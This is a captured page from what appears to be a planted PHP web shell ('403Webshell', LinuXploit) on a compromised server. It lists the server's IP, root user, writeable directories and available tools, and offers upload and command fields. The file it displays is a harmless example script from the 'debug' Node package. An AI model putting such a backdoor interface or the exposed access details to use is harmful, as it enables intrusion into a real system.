403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.54
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/node-debug/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/node-debug/examples/worker.js
// DEBUG=* node example/worker
// DEBUG=worker:* node example/worker
// DEBUG=worker:a node example/worker
// DEBUG=worker:b node example/worker

const a = require('../..')('worker:a');

const b = require('../..')('worker:b');

function work() {
	a('doing lots of uninteresting work');
	setTimeout(work, Math.random() * 1000);
}

work();

function workb() {
	b('doing some work');
	setTimeout(workb, Math.random() * 2000);
}

workb();

setTimeout(() => {
	b(new Error('fail'));
}, 5000);

Youez - 2016 - github.com/yon3zu
LinuXploit